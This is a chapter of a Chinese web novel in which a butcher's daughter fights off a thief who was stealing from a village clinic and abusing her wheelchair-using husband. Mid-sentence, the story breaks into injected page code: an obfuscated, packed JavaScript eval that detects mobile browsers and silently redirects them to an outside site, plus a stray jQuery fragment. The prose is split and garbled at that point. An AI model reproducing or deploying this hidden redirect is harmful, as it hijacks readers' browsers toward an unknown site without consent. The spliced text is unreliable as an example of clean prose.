夏末的午后总是格外慵懒,阳光透过老槐树的叶子,在地上洒下斑驳的光影。
姜至推着独轮车往镇上送肉,车轱辘碾过土路发出吱呀的声响,车斗里的五花肉用草绳捆得整整齐齐,油星子透过粗布渗出来,在阳光下闪着亮晶晶的光。
“路上小心!”刘秀芬站在肉铺门口叮嘱,手里还挥着刚擦完案板的抹布:“早点回来,晚饭给你留着红烧肉!”
“知道啦妈!”姜至回头摆摆手,额角的碎发被风吹得飞扬。
她穿着件洗得发白的蓝布褂子,袖子挽到小臂,露出结实匀称的胳膊,虽然常年干活却并不粗糙,反而透着健康的麦色光泽。推车的动作利落又稳健,腰肢随着步伐轻轻摆动,藏在粗布衣服下的曲线别有一番风情。
陈最坐在帆布棚下看着她的背影,手里捧着本旧医书,目光却追着那抹轻快的身影直到村口。
阳光落在他摊开的书页上,密密麻麻的字迹间还夹着几片干枯的草药标本,是他这几日在山上采的。
“女婿,要不进屋歇着?”老姜蹲在门口抽烟,看着陈最清瘦的侧脸:“这日头毒,别晒着。”
“没事叔,我在这儿等之之。”陈最合上书,指尖摩挲着泛黄的封面,嘴角带着浅浅的笑意。
这两日姜至总不去肉铺,美其名曰“新婚夫妻该多相处”,其实他知道,她是怕自己在家闷得慌。
老姜嘿嘿笑了两声,没再多说。
这女婿虽然腿脚不便,却是个知冷知热的,看闺女的眼神温柔得能滴出水来,比村里那些只会用蛮力的臭小子强多了。
陈最在棚下坐了会儿,想起卫生所还有几味药材没整理,便摇着轮椅往村西头去。
卫生所是间旧瓦房,还是前两年公社拨款修的,里面摆着两张病床,靠墙的木架上堆满了药瓶和纱布。
他刚把晒干的草药分类装袋,就听见门外传来窸窸窣窣的声响。
陈最皱了皱眉,这时候卫生所一般没人来,他把最后一包甘草放好,转动轮椅往门口去。
门帘被猛地掀开,一个瘦高个男人钻了进来,贼眉鼠眼地四处打量。
男人穿着件花衬衫,扣子扣得歪歪扭扭,裤腿卷到膝盖,露出满是泥垢的小腿——正是村里出了名的二狗子。
“陈大夫在呢?”二狗子看见陈最,眼里闪过一丝慌乱,随即又换上嬉皮笑脸的表情:“我、我来拿点感冒药,最近总咳嗽。”
陈最的目光落在他悄悄背在身后的手上,那里明显攥着个布袋,还露出半截甘草。
他不动声色地挡在药架前:“感冒药在最左边的架子上,需要我帮你拿吗?”
二狗子的眼神闪烁,搓着手嘿嘿笑:“不用不用,我自己来就行,陈大夫你腿脚不便,歇着吧。”他说着就往药架另一边挪,眼睛直勾勾地盯着角落里那包刚到的当归——这东西在镇上药材铺能卖不少钱。
陈最的脸色沉了沉:“二狗子,卫生所的药材是公社统一分配的,不能私自带走。”
“啥私自带走?”二狗子被戳穿,索性也不装了,伸手就去抓那包当归:“我拿点怎么了?你一个残废在这儿占着卫生所,也配管我?”
他一把抢过当归塞进布袋,转身就要跑,却被陈最用轮椅挡住了去路。
陈最的手紧紧握着轮椅扶手,指节泛白:“把药材放下。”
“放下?你个瘫子还敢拦我?”二狗子嗤笑一声,抬脚就往轮椅前轮踹去:“给我滚开!”
轮椅被踹得晃了晃,陈最的后背撞到药架,几瓶药瓶摔在地上,发出清脆的响声。
他闷哼一声,额角渗出细汗,却依旧死死挡着门口,眼神冷得像冰:“偷集体财产是犯法的。”
“犯法?谁看见了?”二狗子仗着自己身强力壮,根本没把陈最放在眼里。
他上前一步,伸手就要推陈最的肩膀,嘴里不干不净地骂着:“一个城里来的废物,瘫在轮椅上吃软饭,还敢管老子?要不是看你娶了姜屠户家的丫头,我早把你这破卫生所掀了!”
他的唾沫星子喷到陈最脸上,眼神里满是鄙夷:“你说你一个大男人,站都站不起来,娶媳妇有啥用?还不是得靠女人养着?我要是你啊,早找根绳吊死了,省得在这儿碍眼!”
陈最的脸色白得像纸,放在膝盖上的手紧紧攥成拳头,指甲几乎嵌进肉里。
“把药材放下,我就当没看见。”他的声音冷得发颤,不是因为害怕,而是因为愤怒。
“放你娘的屁!”二狗子被激怒了,扬手就要打下去:“老子今天就让你知道,残废就该有残废的样子!”
就在他的拳头快要落到陈最脸上时,门外突然传来一声怒喝:“二狗子你找死!”
姜至像阵旋风似的冲了进来,手里还拎着送完肉回来的空篮子。
她刚才路过卫生所,听见里面的打骂声就觉得不对,进来就看见二狗子要打陈最,眼睛瞬间红了。
二狗子看见姜至,吓得手都僵住了。
他天不怕地不怕,就怕姜至这丫头——上次他调戏邻村姑娘,被姜至撞见,一把就被扔到了泥沟里,现在想想还觉得腰疼。
“姜、姜至,你咋回来了?”二狗子讪讪地收回手,往后退了两步,试图把装药材的布袋藏到身后。
姜至没理他,先快步走到陈最身边,紧张地检查:“你没事吧?他打你了吗?”她的手指轻轻拂过陈最被撞到的后背,动作又急又轻,眼里的担忧藏都藏不住。
陈最摇摇头,看着她泛红的眼眶,心里的怒火莫名消了大半,反而涌上一股暖意:“我没事。”
“没事?”姜至这才转头看向二狗子,眼神冷得像淬了冰:“他偷药材,还骂你,这叫没事?”
她把篮子往地上一扔,竹篮撞在墙上发出哐当的响声。
姜至一步步走向二狗子,个子虽然比他矮些,气势却足得吓人。
阳光从她身后照进来,给她周身镀上了层金边,额角的碎发被汗水打湿,贴在脸颊上,反而衬得那双眼睛愈发亮得惊人。
“姜至你别多管闲事!”二狗子色厉内荏地吼着,往后退到墙角:“这是我跟陈大夫之间的事……”
“他是我男人,他的事就是我的事!”姜至的声音又冷又硬,像案板上的砍刀:“你偷集体的药材,还敢打人?二狗子,你是不是忘了上次断的肋骨是怎么好的?”
二狗子的脸瞬间白了。
上次他跟人打架断了肋骨,还是陈最给接好的,现在想想真是打自己的脸。
可事到如今,他也只能硬着头皮:“我没偷!是他诬陷我!”
“没偷?”姜至挑眉,目光落在他鼓鼓囊囊的口袋上:“那你口袋里装的啥?掏出来给我看看!”
二狗子下意识地捂住口袋,眼神慌乱。
姜至没给他狡辩的机会,突然往前一步,动作
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271332|182312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快得像猎豹。
二狗子只觉得眼前一花,手腕就被死死抓住,疼得他嗷嗷叫。
“撒手!姜至你撒手!”二狗子疼得脸都扭曲了,他没想到这丫头看着匀称,力气竟然这么大,手腕被她捏得像要断了似的。
姜至没松手,反而用力一拧。
二狗子吃痛不过,手一松,布袋掉在地上,当归、甘草撒了一地,还有几包红糖滚到陈最的轮椅边——这是卫生所给产妇准备的。
“人赃并获,你还有啥话说?”姜至冷笑一声,看二狗子的眼神像看块烂肉。
二狗子被戳穿,索性破罐子破摔:“是又咋样?一个残废的东西,拿点怎么了?你个女人家护着他,是不是觉得他好看?可惜啊,好看有啥用?还不是个站不起来的废物……”
“闭嘴!”姜至的怒火彻底被点燃了。她最听不得别人说陈最残废,尤其是这种充满恶意的诋毁。
没等二狗子反应过来,姜至突然抬脚,狠狠踹在他肚子上。这一脚又快又狠,带着她常年剁肉练出来的力道。
二狗子“嗷”的一声惨叫,像个破麻袋似的被踹飞出去,重重摔在地上,疼得蜷缩成一团。
“我的娘……”二狗子疼得眼泪都出来了,捂着肚子半天爬不起来,看着姜至的眼神里充满了恐惧。
姜至一步步走过去,抬脚踩在他的胸口上,居高临下地看着他。
她的布鞋沾着点泥土,却踩得稳稳当当,胸口起伏着,眼里的怒火像要烧出来似的:“二狗子,我告诉你,陈最是我姜至的男人,是我护着的人。”
她俯身,声音冷得像冰碴子:“你动他一根手指头试试?今天我只是踹你一脚,下次再让我看见你碰他一根头发,或者说一句废话,我就把你胳膊卸下来喂狗!”
她的眼神太吓人了,那里面的狠劲不是装的,是真的能说到做到。
二狗子被她踩得喘不过气,胸口的骨头像要碎了似的,只能拼命点头:“我错了!姑奶奶我错了!我再也不敢了!”
“滚!”姜至收回脚,往旁边踢了踢散落的药材:“把东西捡起来放好,再敢出现在卫生所附近,看我不打断你的腿!”
二狗子连滚带爬地站起来,手忙脚乱地捡着地上的药材,疼得龇牙咧嘴也不敢耽搁。他把药材胡乱塞进布袋,放在桌子上,看都不敢看姜至一眼,抱头鼠窜地跑了出去,连门帘都被他带飞了。
卫生所里终于安静下来,只剩下药瓶摔碎的清脆回响。
姜至深吸一口气,转身看向陈最,刚才的狠厉瞬间消失得无影无踪,只剩下满满的担忧:“你真的没事吧?有没有被吓到?”
陈最坐在轮椅上,静静地看着她。
阳光落在她泛红的脸颊上,额角的碎发被汗水打湿,眼神亮晶晶的,像落满了星光。刚才她踹飞二狗子的样子又飒又狠,可此刻担忧的眼神却柔软得让人心颤。
他的嘴角忍不住微微上扬,眼底的冰冷被温柔取代,还藏着一丝不易察觉的笑意。
他轻轻摇摇头,声音温润得像春风:“我没事。”
他看着姜至紧张地检查药架,看着她弯腰捡起地上的药材,看着她因为担心而微微蹙起的眉头,心里像被什么东西填满了,暖洋洋的。
原来被人护着的感觉,是这样的好。
陈最垂下眼眸,掩去眼底那抹越来越深的笑意,指尖轻轻摩挲着轮椅扶手,嘴角却忍不住越扬越高。